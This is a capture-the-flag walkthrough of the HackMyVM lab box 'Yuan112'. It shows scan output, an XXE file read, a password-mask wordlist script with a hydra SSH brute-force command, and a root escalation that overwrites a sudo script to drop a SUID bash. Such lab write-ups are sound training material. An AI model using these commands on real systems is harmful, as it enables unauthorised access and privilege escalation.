HMV Yuan112 Walkthrough

2026-03-20 2026-03-20432 Words

This is a Linux machine with Web and SSH services enabled, We could discover a XXE vulnerability within web homepage, which allow us to read sensitive files like /etc/passwd. We could obtain the essential user name and the masked password of him. Then we gain the initial foothold on the system by brust-forcing the SSH service.

We discover a interesting sudo rule that allows us to run a special script with root, leading to write arbitrary files. Then we bypass the restriction of regexp within the script by constructing a special path and control what we want to override that script. Finally, we could obtain the root shell by executing this script.

Summary

Scope

  • Name: Yuan112
  • Difficulty: Easy
  • OS: Linux
  • IP: Local VM

Learned

  • XXE(XML External Entity) is the common usecase for XML exploitation.
  • In Linux, the path name can be any bytes except 0x00.

Enumeration

Nmap

Overall

# Nmap 7.98 scan initiated Fri Mar 20 16:36:48 2026 as: nmap --min-rate 3000 -oN overall yuan112.hmv
Nmap scan report for yuan112.hmv (192.168.1.153)
Host is up (0.00013s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:D7:CF:B8 (Oracle VirtualBox virtual NIC)

# Nmap done at Fri Mar 20 16:36:48 2026 -- 1 IP address (1 host up) scanned in 0.10 seconds

Detail

# Nmap 7.98 scan initiated Fri Mar 20 16:37:17 2026 as: nmap -sC -sV -O -vv -p22,80 -oN detail yuan112.hmv
Nmap scan report for yuan112.hmv (192.168.1.153)
Host is up, received arp-response (0.00037s latency).
Scanned at 2026-03-20 16:37:17 CST for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
|   256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: XML Parser
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
MAC Address: 08:00:27:D7:CF:B8 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/20%OT=22%CT=%CU=33509%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=69BD0744%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 29.473 days (since Thu Feb 19 05:16:28 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 20 16:37:24 2026 -- 1 IP address (1 host up) scanned in 7.96 seconds

UDPScan

# Nmap 7.98 scan initiated Fri Mar 20 16:37:35 2026 as: nmap -sU --top-port 32 -oN udpscan yuan112.hmv
Nmap scan report for yuan112.hmv (192.168.1.153)
Host is up (0.00049s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
111/udp   open|filtered rpcbind
123/udp   open|filtered ntp
135/udp   closed        msrpc
136/udp   closed        profile
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
996/udp   closed        vsinet
997/udp   closed        maitrd
998/udp   closed        puparp
999/udp   closed        applix
1434/udp  closed        ms-sql-m
1701/udp  open|filtered L2TP
1812/udp  open|filtered radius
1900/udp  open|filtered upnp
3283/udp  closed        netassistant
4500/udp  closed        nat-t-ike
5353/udp  open|filtered zeroconf
49152/udp closed        unknown
49153/udp closed        unknown
49154/udp closed        unknown
MAC Address: 08:00:27:D7:CF:B8 (Oracle VirtualBox virtual NIC)

# Nmap done at Fri Mar 20 16:37:46 2026 -- 1 IP address (1 host up) scanned in 11.04 seconds

Web

I first take a closer look at the web service, then I discover a XML parser out there. I test it with the payload from Hacktricks XXE Attack. Luckily, it works!

2026-03-20_16-47.avif
Figure 1: XXE read files

I get two key points from the results:

  1. the user named tuf is a normal user which has a login shell.
  2. there seems like a password within the comment field out there.

SSH Brust-forcing

After that I get nothing from the web directory enumeration. So I shift my focus to the SSH service.

Next, my plan is to fill in the masked password first, then try hydra to brust-force the SSH service. Here is the simple script which I use.

 mask='KQNPHFqG**JHcYJossIe'
  alphabet=({a..z} {A..Z} {0..9})
  for a in "${alphabet[@]}"; do
    for b in "${alphabet[@]}"; do
      tmp=${mask/\*/$a}
      printf '%s\n' "${tmp/\*/$b}"
    done
  done

Then hydra -l tuf -P pass.txt yuan112.hmv ssh give me the credential for initial foothold.

Privilege Escalation

The fundamental information about the system I care about is following:

tuf@112:~$ id
uid=1000(tuf) gid=1000(tuf) groups=1000(tuf)
tuf@112:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash
tuf@112:~$ crontab -l
no crontab for tuf
tuf@112:~$ sudo -l
Matching Defaults entries for tuf on 112:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tuf may run the following commands on 112:
    (ALL) NOPASSWD: /opt/112.sh

Yeah, there's a special script called 112.sh that catches my eyes. And that script is belong to the root and has rw permission.

#!/bin/bash
input_url=""
output_file=""
use_file=false
regex='^https://maze-sec.com/[a-zA-Z0-9/]*$'
while getopts ":u:o:" opt; do
    case ${opt} in
        u) input_url="$OPTARG" ;;
        o) output_file="$OPTARG"; use_file=true ;;
        \?) echo "错误: 无效选项 -$OPTARG"; exit 1 ;;
        :) echo "错误: 选项 -$OPTARG 需要一个参数"; exit 1 ;;
    esac
done
if [[ -z "$input_url" ]]; then
    echo "错误: 必须使用 -u 参数提供URL"
    exit 1
fi
if [[ ! "$input_url" =~ ^https://maze-sec.com/ ]]; then
    echo "错误: URL必须以 https://maze-sec.com/ 开头"
    exit 1
fi
if [[ ! "$input_url" =~ $regex ]]; then
    echo "错误: URL包含非法字符,只允许字母、数字和斜杠"
    exit 1
fi
if (( RANDOM % 2 )); then
    result="$input_url is a good url."
else
    result="$input_url is not a good url."
fi
if [ "$use_file" = true ]; then
    echo "$result" > "$output_file"
    echo "结果已保存到: $output_file"
else
    echo "$result"
fi

This script could allow me to write a $output_file with -o option but need some validation. Since that I can execute this script with root privilege and it has write permission, I could write a special path which resolve to a SUID sh. The only thing I need to make sure of is that I have control over that path (rwx), so /tmp is a very good target.

tuf@112:/tmp$ cat > https\:/maze-sec.com/shell << EOF
> #!/bin/bash
> cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash
> EOF
tuf@112:/tmp$ cat https\:/maze-sec.com/shell
#!/bin/bash
cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash
tuf@112:/tmp$ sudo /opt/112.sh -u "https://maze-sec.com/shell" -o /opt/112.sh
结果已保存到: /opt/112.sh
tuf@112:/tmp$ cat /opt/112.sh
https://maze-sec.com/shell is not a good url.

I obtain a SUID and root belonging shell after execute this script. Then execute it with -p option I could get the root shell.

Footnotes:

1

Which bypass the validation, since any bytes except 0x00 are allow for path name within Linux. Something like https://maze-sec.com/shell.


Creator: Emacs 31.0.50 (Org mode 10.0-pre)